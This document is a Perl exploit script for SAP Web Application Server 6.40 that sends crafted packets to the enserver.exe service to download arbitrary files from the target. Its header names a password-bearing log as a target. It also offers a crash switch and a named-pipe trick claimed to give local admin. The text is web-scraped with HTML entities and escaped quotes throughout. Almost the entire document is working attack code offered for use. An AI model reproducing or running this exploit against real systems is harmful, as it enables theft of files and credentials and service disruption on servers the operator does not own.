SAP Web Application Server 6.40 Arbitrary File Disclosure Exploit

#!/usr/bin/perl&nbsp;-w ## ##&nbsp;SAP&nbsp;\\\'enserver.exe\\\'&nbsp;file&nbsp;downloader ##&nbsp;Tested&nbsp;on&nbsp;\\\"SAP&nbsp;Web&nbsp;Application&nbsp;Server&nbsp;Java&nbsp;6.40\\\"&nbsp;(eval&nbsp;DVD) ##&nbsp;Found&nbsp;&&nbsp;coded&nbsp;by&nbsp;Nicob ## ##&nbsp;The&nbsp;downloaded&nbsp;file&nbsp;is&nbsp;limited&nbsp;to&nbsp;the&nbsp;first&nbsp;32&nbsp;kilobytes ##&nbsp;Usual&nbsp;port&nbsp;:&nbsp;TCP/3200+SYSNR ##&nbsp;Exemple&nbsp;:&nbsp;./r3-stealer-1.0.pl&nbsp;192.168.2.22&nbsp;3201&nbsp;\\\"c:\\\\boot.ini\\\" ## ##&nbsp;From&nbsp;MSDN&nbsp;(Win2K&nbsp;pre-SP4,&nbsp;WinXP&nbsp;pre-SP2&nbsp;and&nbsp;WinNT)&nbsp;: ##&nbsp;\\\"\\\\\\\\your_box\\\\pipe\\\\your_pipe\\\"&nbsp;=>&nbsp;get&nbsp;Local&nbsp;Admin&nbsp;(SAPServiceJ2E) ##&nbsp;http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/authorization_constants.asp ## ##&nbsp;File&nbsp;parameter&nbsp;: ## C:\boot.ini ##&nbsp; \\\\10.11.12.13shareimage.jpg ## ............Documents&nbsp;and&nbsp;SettingsAll&nbsp;UsersApplication&nbsp;Datasapdbwahttpreq.log&nbsp;(contains&nbsp;passwords&nbsp;!) ## #&nbsp;Init use&nbsp;strict; use&nbsp;IO::Socket; my&nbsp;$verbose&nbsp;=&nbsp;0; #&nbsp;Set&nbsp;this&nbsp;to&nbsp;anything&nbsp;not&nbsp;null&nbsp;to&nbsp;crash&nbsp;the&nbsp;process my&nbsp;$crash&nbsp;=&nbsp;\\\"\\\"; my&nbsp;$socket; my&nbsp;$reply; $|=1; #&nbsp;Get&nbsp;arguments if&nbsp;(($#ARGV<2)&nbsp;or&nbsp;($ARGV[0]&nbsp;eq&nbsp;\\\"-h\\\"))&nbsp;{die&nbsp;\\\"Usage:&nbsp;$0&nbsp;<ip>&nbsp;<port>&nbsp;<remote&nbsp;filename>&nbsp;(<local&nbsp;filename>) \\\";} my&nbsp;$host=$ARGV[0];&nbsp; my&nbsp;$port=$ARGV[1];&nbsp; my&nbsp;$filename=$ARGV[2];&nbsp; my&nbsp;$output=$ARGV[3];&nbsp; #&nbsp;Calculate&nbsp;variables my&nbsp;$lg&nbsp;=&nbsp;length($filename); my&nbsp;$tag1&nbsp;=&nbsp;sprintf(\\\'%x\\\',&nbsp;0x4F&nbsp;+&nbsp;$lg); my&nbsp;$tag2&nbsp;=&nbsp;sprintf(\\\'%x\\\',&nbsp;0x20&nbsp;+&nbsp;$lg); #&nbsp;Show&nbsp;banner print&nbsp;\\\"##################################################################### \\\"; print&nbsp;\\\"###&nbsp;SAP&nbsp;\\\'enserver.exe\\\'&nbsp;file&nbsp;downloader \\\"; print&nbsp;\\\"###&nbsp;Downloading&nbsp;\\\'$filename\\\'&nbsp;from&nbsp;\\\'$host\\\' \\\"; print&nbsp;\\\"##################################################################### \\\"; #&nbsp;Define&nbsp;the&nbsp;packets my&nbsp;$packet1&nbsp;= \\\"0000005dabcde123000000000000005d0000005d06010000000000060000000000040000000000010004000000000003\\\". #&nbsp;Static \\\"5f6e69636f625f6e69636f625f6e69636f62315f\\\". #&nbsp;ASCII&nbsp;string&nbsp;:&nbsp;\\\"_nicob_nicob_nicob1_\\\"&nbsp; \\\"00000000020000003b0000000500000002000000060000000400000001\\\"; #&nbsp;Static my&nbsp;$packet2&nbsp;= \\\"000000\\\".&nbsp;$tag1.&nbsp;\\\"abcde12300000001000000\\\".&nbsp;$tag1&nbsp;.\\\"000000\\\".&nbsp;$tag1&nbsp;. \\\"03000000454e430001010000234541410100000013030000000000234541450001000000\\\".&nbsp;$tag2&nbsp;. \\\"0000000000007d00000000000000000000000000\\\".&nbsp;unpack(\\\"H*\\\",$filename)&nbsp;.&nbsp;$crash&nbsp;.\\\"000023454144\\\"; #&nbsp;Crash&nbsp;if&nbsp;bad&nbsp;filename&nbsp;length #&nbsp;Create&nbsp;the&nbsp;socket $socket&nbsp;=&nbsp;IO::Socket::INET->new(Proto=>\\\"tcp\\\",PeerAddr=>$host,PeerPort&nbsp;=>&nbsp;$port) ||&nbsp;die&nbsp;\\\"Connection&nbsp;refused&nbsp;at&nbsp;[$host:$port]\\\"; #&nbsp;Send&nbsp;the&nbsp;two&nbsp;packet print&nbsp;$socket&nbsp;pack(\\\"H*\\\",$packet1); print&nbsp;$socket&nbsp;pack(\\\"H*\\\",$packet2); sleep&nbsp;2; #&nbsp;Read&nbsp;and&nbsp;display&nbsp;response recv($socket,$reply,150000,MSG_PEEK); if&nbsp;($reply&nbsp;=~&nbsp;/^(.*)#EAD(.*)$/s)&nbsp;{ print&nbsp;\\\"File&nbsp;received&nbsp;! \\\"; if&nbsp;((!defined($output))&nbsp;or&nbsp;($output&nbsp;eq&nbsp;\\\"\\\"))&nbsp;{ print&nbsp;\\\" =========================================== \\\"; print&nbsp;$2; print&nbsp;\\\" =========================================== \\\"; }&nbsp;else&nbsp;{ open(OUT,&nbsp;\\\">&nbsp;$output\\\")&nbsp;||&nbsp;die&nbsp;\\\"Can\\\'t&nbsp;open&nbsp;$output&nbsp;($0)\\\"; print&nbsp;\\\"File&nbsp;saved&nbsp;as&nbsp;\\\'$output\\\' \\\"; print&nbsp;OUT&nbsp;$2; close(OUT); } }&nbsp;else&nbsp;{ print&nbsp;\\\"Problem&nbsp;interpreting&nbsp;reply&nbsp;:-( \\\"; } #&nbsp;Close&nbsp;the&nbsp;socket print&nbsp;\\\" The&nbsp;end&nbsp;... \\\"; close&nbsp;$socket;